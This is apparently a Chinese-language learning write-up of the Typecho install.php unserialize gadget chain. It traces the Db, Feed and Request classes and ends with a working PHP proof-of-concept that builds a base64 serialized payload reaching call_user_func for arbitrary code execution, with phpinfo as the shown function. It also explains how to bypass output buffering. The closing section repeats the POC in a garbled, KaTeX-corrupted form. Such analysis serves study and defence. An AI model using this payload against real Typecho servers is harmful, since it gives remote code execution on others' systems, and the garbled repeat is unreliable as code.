菜鸡的第一条链子,酌情参考
利用phpstudy+phpstrom搭建环境调试(注意php版本大于5.4)
前提:get方法传?finish=1,refer=http://127.0.0.1 若不设置的话exit,程序结束 详细看install.php前面部分的代码
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config'); //删除$_COOKIE[$key],所以要用post传参
$db = new Typecho_Db($config['adapter'], $config['prefix']);
//这里实例化了一个Typecho_Db对象,将反序列化得到的变量数组中的adapter和prefix传入
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
追踪下get()方法,在cookie.php中发现get方法
public static function get($key, $default = NULL)
{
$key = self::$_prefix. $key; //
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
//结合Typecho_Cookie::get('__typecho_config')可知post或者cookie传入的__typecho_config变量进行一个反序列化,并且不能为数组。
}
$_prefix 位于/cookie.php中
private static $_prefix = '';
/**
* 路径
*
* @var string
* @access private
*/
delete()方法位于/cookie.php
Typecho_Cookie::delete('__typecho_config');
public static function delete($key)
{
$key = self::$_prefix . $key;
if (!isset($_COOKIE[$key])) {
return;
}
setcookie($key, '', time() - 2592000, self::$_path);
unset($_COOKIE[$key]);
}
可知当cookie传入__typecho_config后会被删除,所以要通过post的方式传入__typecho_config
位于Db.php
$db = new Typecho_Db($config['adapter'], $config['prefix']);
// 这里新建了一个Typecho_Db对象,将反序列化得到的变量数组中的adapter和prefix传入,跟进Typecho__Db这个对象
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
//重点:此处将$adapterName当作字符与Typecho_Db_Adapter_拼接,若将$adapterName赋值为一个对象时,即为把对象当作字符串调用,即可触发__tostring()方法,寻找__tostring
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
在feed.php和Query.php中找到
#feed.php
public function __toString()
{
$result = ' . $this->_charset . '"?>' . self::EOL;
if (self::RSS1 == $this->_type) {
$result .= '' . self::EOL;
$content = ''; //声明content变量
$links = array();
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= '- .
$item['link'] . '">' . self::EOL;
$content .= '' . htmlspecialchars($item['title']) . '' . self::EOL;
$content .= '' . $item['link'] . '' . self::EOL;
$content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;
$content .= '' . strip_tags($item['content']) . '' . self::EOL;
if (!empty($item['suffix'])) {
$content .= $item['suffix'];
}
$content .= '' . self::EOL; //.= 左边拼接右边,类似于+=
$links[] = $item['link'];
if ($item['date'] > $lastUpdate) {
$lastUpdate = $item['date'];
}
}
$result .= '. $this->_feedUrl . '">
' . htmlspecialchars($this->_title) . '
' . $this->_baseUrl . '
' . htmlspecialchars($this->_subTitle) . '
' . self::EOL;
foreach ($links as $link) {
$result .= '. $link . '"/>' . self::EOL;
}
$result .= '
' . self::EOL;
$result .= $content . '';
} else if (self::RSS2 == $this->_type) {
$result .= '
' . self::EOL;
$content = '';
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= '- '
. self::EOL;
$content .= '' . htmlspecialchars($item['title']) . '' . self::EOL;
$content .= '' . $item['link'] . '' . self::EOL;
$content .= '' . $item['link'] . '' . self::EOL;
$content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;
$content .= '' . htmlspecialchars($item['author']->screenName) . '' . self::EOL;
//调用当前类的一个私有变量
if (!empty($item['category']) && is_array($item['category'])) {
foreach ($item['category'] as $category) {
$content .= ' . $category['name'] . ']]> ' . self::EOL;
}
}
if (!empty($item['excerpt'])) {
$content .= ' . strip_tags($item['excerpt']) . ']]> ' . self::EOL;
}
if (!empty($item['content'])) {
$content .= '. $this->_lang . '">
. self::EOL .
$item['content'] . self::EOL .
']]>' . self::EOL;
}
if (isset($item['comments']) && strlen($item['comments']) > 0) {
$content .= '' . $item['comments'] . '' . self::EOL;
}
$content .= '' . $item['link'] . '#comments' . self::EOL;
if (!empty($item['commentsFeedUrl'])) {
$content .= '' . $item['commentsFeedUrl'] . '' . self::EOL;
}
if (!empty($item['suffix'])) {
$content .= $item['suffix'];
}
$content .= '' . self::EOL;
if ($item['date'] > $lastUpdate) {
$lastUpdate = $item['date'];
}
}
$result .= '' . htmlspecialchars($this->_title) . '
' . $this->_baseUrl . '
. $this->_feedUrl . '" rel="self" type="application/rss+xml" />
' . $this->_lang . '
' . htmlspecialchars($this->_subTitle) . '
' . $this->dateFormat($lastUpdate) . '
' . $this->dateFormat($lastUpdate) . '' . self::EOL;
$result .= $content . '
';
} else if (self::ATOM1 == $this->_type) {
$result .= '. $this->_lang . '"
xml:base="' . $this->_baseUrl . '"
>' . self::EOL;
$content = '';
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= '' . self::EOL;
$content .= ' . $item['title'] . ']]> ' . self::EOL;
$content .= '. $item['link'] . '" />' . self::EOL;
$content .= '' . $item['link'] . '' . self::EOL;
$content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;
$content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;
$content .= '
' . $item['author']->screenName . '
' . $item['author']->url . '
' . self::EOL;
if (!empty($item['category']) && is_array($item['category'])) {
foreach ($item['category'] as $category) {
$content .= '. $category['permalink'] . '" term="' . $category['name'] . '" />' . self::EOL;
}
}
if (!empty($item['excerpt'])) {
$content .= ' . htmlspecialchars($item['excerpt']) . ']]> ' . self::EOL;
}
if (!empty($item['content'])) {
$content .= '. $item['link'] . '" xml:lang="' . $this->_lang . '">
. self::EOL .
$item['content'] . self::EOL .
']]>' . self::EOL;
}
if (isset($item['comments']) && strlen($item['comments']) > 0) {
$content .= '. $item['link'] . '#comments" thr:count="' . $item['comments'] . '" />' . self::EOL;
if (!empty($item['commentsFeedUrl'])) {
$content .= '. $item['commentsFeedUrl'] . '" thr:count="' . $item['comments'] . '"/>' . self::EOL;
}
}
if (!empty($item['suffix'])) {
$content .= $item['suffix'];
}
$content .= '' . self::EOL;
if ($item['date'] > $lastUpdate) {
$lastUpdate = $item['date'];
}
}
$result .= '' . htmlspecialchars($this->_title) . '
' . htmlspecialchars($this->_subTitle) . '
' . $this->dateFormat($lastUpdate) . '
. $this->_version . '">Typecho
. $this->_baseUrl . '" />
' . $this->_feedUrl . '
. $this->_feedUrl . '" />
';
$result .= $content . '';
}
return $result;
}
}
关键点:
foreach ($this->_items as $item) {
$content .= '- '
. self::EOL;
$content .= '' . htmlspecialchars($item['title']) . '' . self::EOL;
$content .= '' . $item['link'] . '' . self::EOL;
$content .= '' . $item['link'] . '' . self::EOL;
$content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;
$content .= '' . htmlspecialchars($item['author']->screenName) . '' . self::EOL;
//$item['author']访问了screenName这个属性,该属性为私有属性触发了__get魔术方法
//注意:但是进入这里需要满足条件else if(self::Rss2=this->_type)
位于/Request.php
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
// 如果_params数组中存在索引值为$key的变量,那么就会将其赋值给$value, 结束
// 如果_httpParams中存在索引值为$key的变量,那么就会将其赋值给$value,结束
// 如果都不存在的话将$value赋值为$default ,结束
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
//如果$value为数组且长度大于0就赋值为$default,不是的话就为本身。
return $this->_applyFilter($value);
}
###跟进_applyFilter($value)方法
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
//判断value是否为数组,若是数组执行array_map(),若不是执行call_user_func()
//其中$value可以间接控制,所以可以利用array_map和call_user_func来执行代码
//array_map() :函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组。
//call_user_func():看百度
}
$this->_filter = array();
}
return $value;
}
//重点来了,如果$filter和$value都可控的话就可以通过回调函数call_user_func()命令执行或者写入木马了
如将以上发请求到服务器,却会返回500.是因为,开始时install.php在第54行调用了ob_start()
参考:https://www.php.net/manual/en/function.ob-start.php
POC执行会导致Typecho触发异常,并且内部设置了Typecho_Exception异常类,触发异常以后Typecho会自动能捕捉到异常,并执行异常输出。
public static function exceptionHandle(Exception $exception)
{
@ob_end_clean();
if (defined('__TYPECHO_DEBUG__')) {
echo ''
. $exception->getMessage() . '';
echo nl2br($exception->__toString());
} else {
if (404 == $exception->getCode() && !empty(self::$exceptionHandle)) {
$handleClass = self::$exceptionHandle;
new $handleClass($exception);
} else {
self::error($exception);
}
}
exit;
}
并且经过分析发现程序开头开启了ob_start(),该函数会将内部输出全部放入到缓冲区中,执行注入代码以后触发异常,导致ob_end_clean()执行,该函数会清空缓冲区。
解决方案:让程序强制退出,不执行Exception,这样原来的缓冲区内容就会输出出来。
if (!empty($item['category']) && is_array($item['category'])) {
foreach ($item['category'] as $category) {
$content .= '. $category['permalink'] . '" term="' . $category['name'] . '" />' . self::EOL;
}
}
即: 将item中的category赋值为一个对象数组,提前报错退出,就可以显示之前的内容
1、通过install.php中的反序列化将adapter和prefix变量传入Typecho_Db实例化对象中
2、通过类Typecho_Db中的__construct魔术方法将adapter视作字符串拼接赋值,调用类Typecho_Feed中的__toString魔术方法
3、访问了_items['author']中的screenName属性,调用Typecho_Request类中的__get魔术方法并且传入$key=screenName
4、定义$this->_params[$key],也就是$this->_params[‘screenName’]为我们想要执行的命令,即可赋值给$value
call_user_func($filter, $value);
class Typecho_Request
{
private $_params = array();
private $_filter = array();
//设置item['author']来控制Typecho_Request类中的私有变量,
//这样类中的_filter和_params['screenName']都可控,call_user_func函数变量可控,任意代码执行。
public function __construct()
{
$this->_params['screenName'] = -1; //执行的参数,显示所有内容
$this->_filter[0] = 'phpinfo'; //执行的函数
}
}
class Typecho_Feed
{
/** 定义RSS 1.0类型 */
const RSS1 = 'RSS 1.0';
/** 定义RSS 2.0类型 */
const RSS2 = 'RSS 2.0';
/** 定义ATOM 1.0类型 */
const ATOM1 = 'ATOM 1.0';
/** 定义RSS时间格式 */
const DATE_RFC822 = 'r';
/** 定义ATOM时间格式 */
const DATE_W3CDTF = 'c';
/** 定义行结束符 */
const EOL = "\n";
private $_type;
private $_items = array(); //设置item['author'],来控制Typecho_Request类中的私有变量
public $dateFormat;
public function __construct()
{ //对应feed中_tostring魔术方法,
$this->_type = self::RSS2;
$item['link'] = '1';
$item['title'] = '2';
$item['date'] = 1507720298;
$item['author'] = new Typecho_Request();
//设置item['author']来控制Typecho_Request类中的私有变量,$_filter和$_params,执行call_user_func()
//这样类中的_filter和_params['screenName']都可控,call_user_func函数变量可控,任意代码执行。
$item['category'] = array(new Typecho_Request());
//给item[‘category’]赋值上对象,让其用数组的方式遍历对象时触发错误,强制退出程序。否则会到导致存放在缓冲去的数据被清除,无法返回所求值
$this->_items[0] = $item;
}
}
$x = new Typecho_Feed();
$a = array(
'host' => 'localhost',
'user' => 'xxxxxx',
'charset' => 'utf8',
'port' => '3306',
'database' => 'typecho',
'adapter' => $x, Db.php文件中触发__toString()使用的对象
'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>
###函数phpinfo()的参数
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3xsJgBtH-1647137296969)(C:\Users\86136\OneDrive\图片\屏幕快照\PHPinfo.png)]
在类里面定义常量用 const 关键字
http://www.5idev.com/p-php_class_const.shtml
https://www.php.net/manual/en/language.oop5.constants.php
new Typecho_Feed();
$a = array(
‘host’ => ‘localhost’,
‘user’ => ‘xxxxxx’,
‘charset’ => ‘utf8’,
‘port’ => ‘3306’,
‘database’ => ‘typecho’,
‘adapter’ => KaTeX parse error: Expected group after '_' at position 21: …/// Db.php文件中触发_̲_toString()使用的对…a)));
?>
## ps
###函数phpinfo()的参数
### const
在类里面定义常量用 const 关键字
http://www.5idev.com/p-php_class_const.shtml
https://www.php.net/manual/en/language.oop5.constants.php